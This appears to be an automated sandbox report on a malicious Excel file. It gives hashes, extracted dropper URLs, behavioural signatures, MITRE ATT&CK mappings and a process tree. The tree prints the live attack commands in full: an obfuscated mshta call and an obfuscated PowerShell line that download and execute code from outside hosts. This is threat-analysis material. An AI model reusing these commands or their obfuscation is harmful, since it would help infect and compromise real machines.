76faa078d1f1713f316cf3d152958b0db77d8e9255dd084d902b460fb3ea97cb

General

Target
3452fd7ff7848e32e1746d8a03bc98dd.xls
Size 142KB
Sample220119-rdt8asaec7
SHA256 76faa078d1f1713f316cf3d152958b0db77d8e9255dd084d902b460fb3ea97cb
MD5 3452fd7ff7848e32e1746d8a03bc98dd
SHA1 0f40b73b9d1fa7991567efbbcf95c463659e04c9
SHA512 4e2ea41ba3a01f7ea01ca1a8d86bcbfe12183b575ac5bacc15cc6d7438cfc34688f5b79b65871e27ec7df40872d5cdfbc7a1236d033909ab9d15524ea414f4ed
MD5 SHA1 SHA512

Score

10^/10

Malware Config

Extracted

Language

hta

Source

URLs

hta.dropper
http://0xb907d607/fer/fer.html

Extracted

Language

ps1

Deobfuscated

Source

URLs

ps1.dropper
http://185.7.214.7/fer/fer.png

Signatures

Process spawned unexpected child process 1 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

description	pid	pid_target	Process	procid_target
Parent C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE is not expected to spawn this process	2016	3948	cmd.exe	51

Blocklisted process makes network request 1 IoCs

flow	pid	Process
23	2400	mshta.exe

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-1346565761-3498240568-4147300184-1000\Control Panel\International\Geo\Nation	mshta.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082

Program crash 1 IoCs

pid	pid_target	Process	procid_target
2300	2400	WerFault.exe	63

Checks processor information in registry 2 TTPs 3 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	EXCEL.EXE

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	EXCEL.EXE
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily	EXCEL.EXE

Suspicious behavior: AddClipboardFormatListener 1 IoCs

pid	Process
3948	EXCEL.EXE

Suspicious use of FindShellTrayWindow 2 IoCs

pid	Process
3948	EXCEL.EXE
3948	EXCEL.EXE

Suspicious use of SetWindowsHookEx 12 IoCs

pid	Process
3948	EXCEL.EXE
3948	EXCEL.EXE
3948	EXCEL.EXE
3948	EXCEL.EXE
3948	EXCEL.EXE
3948	EXCEL.EXE
3948	EXCEL.EXE
3948	EXCEL.EXE
3948	EXCEL.EXE
3948	EXCEL.EXE
3948	EXCEL.EXE
3948	EXCEL.EXE

Suspicious use of WriteProcessMemory 6 IoCs

description	pid	Process	procid_target
PID 3948 wrote to memory of 636	3948	EXCEL.EXE	59
PID 3948 wrote to memory of 636	3948	EXCEL.EXE	59
PID 3948 wrote to memory of 2016	3948	EXCEL.EXE	61
PID 3948 wrote to memory of 2016	3948	EXCEL.EXE	61
PID 2016 wrote to memory of 2400	2016	cmd.exe	63
PID 2016 wrote to memory of 2400	2016	cmd.exe	63

C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE
"C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE" "C:\Users\Admin\AppData\Local\Temp\3452fd7ff7848e32e1746d8a03bc98dd.xls"
1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of FindShellTrayWindow
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:3948
- C:\Windows\splwow64.exe
  C:\Windows\splwow64.exe 12288
  2⤵
  PID:636
- C:\Windows\SYSTEM32\cmd.exe
  cmd /c m^sh^t^a h^tt^p^:/^/0xb907d607/fer/fer.html
  2⤵
  - Process spawned unexpected child process
  - Suspicious use of WriteProcessMemory
  PID:2016
- - C:\Windows\system32\mshta.exe
    mshta http://0xb907d607/fer/fer.html
    3⤵
    - Blocklisted process makes network request
    - Checks computer location settings
    PID:2400
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noexit $c1='({GOOGLE}{GOOGLE}Ne{GOOGLE}{GOOGLE}w{GOOGLE}-Obj{GOOGLE}ec{GOOGLE}{GOOGLE}t N{GOOGLE}{GOOGLE}et{GOOGLE}.W{GOOGLE}{GOOGLE}e'.replace('{GOOGLE}', ''); $c4='bC{GOOGLE}li{GOOGLE}{GOOGLE}en{GOOGLE}{GOOGLE}t).D{GOOGLE}{GOOGLE}ow{GOOGLE}{GOOGLE}nl{GOOGLE}{GOOGLE}{GOOGLE}o'.replace('{GOOGLE}', ''); $c3='ad{GOOGLE}{GOOGLE}St{GOOGLE}rin{GOOGLE}{GOOGLE}g{GOOGLE}(''ht{GOOGLE}tp{GOOGLE}://185.7.214.7/fer/fer.png'')'.replace('{GOOGLE}', '');$JI=($c1,$c4,$c3 -Join '');I`E`X $JI|I`E`X
      4⤵
      PID:3356
  - - C:\Windows\system32\WerFault.exe
      C:\Windows\system32\WerFault.exe -u -p 2400 -s 1728
      4⤵
      Program crash
      PID:2300

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k PrintWorkflow
1⤵
PID:2468

C:\Windows\system32\WerFault.exe
C:\Windows\system32\WerFault.exe -pss -s 416 -p 2400 -ip 2400
1⤵
PID:1800

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

3

T1012

System Information Discovery

4

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

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Downloads

memory/3948-130-0x00007FF8B5470000-0x00007FF8B5480000-memory.dmp

Download

memory/3948-131-0x00007FF8B5470000-0x00007FF8B5480000-memory.dmp

Download

memory/3948-132-0x00007FF8B5470000-0x00007FF8B5480000-memory.dmp

Download

memory/3948-133-0x00007FF8B5470000-0x00007FF8B5480000-memory.dmp

Download

memory/3948-134-0x00007FF8B5470000-0x00007FF8B5480000-memory.dmp

Download

memory/3948-137-0x00007FF8B2C80000-0x00007FF8B2C90000-memory.dmp

Download

memory/3948-138-0x00007FF8B2C80000-0x00007FF8B2C90000-memory.dmp

Download

Analysis

Sharing

General

Malware Config

Extracted

Extracted

Signatures

Processes

Network

MITRE ATT&CK Enterprise v6

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Downloads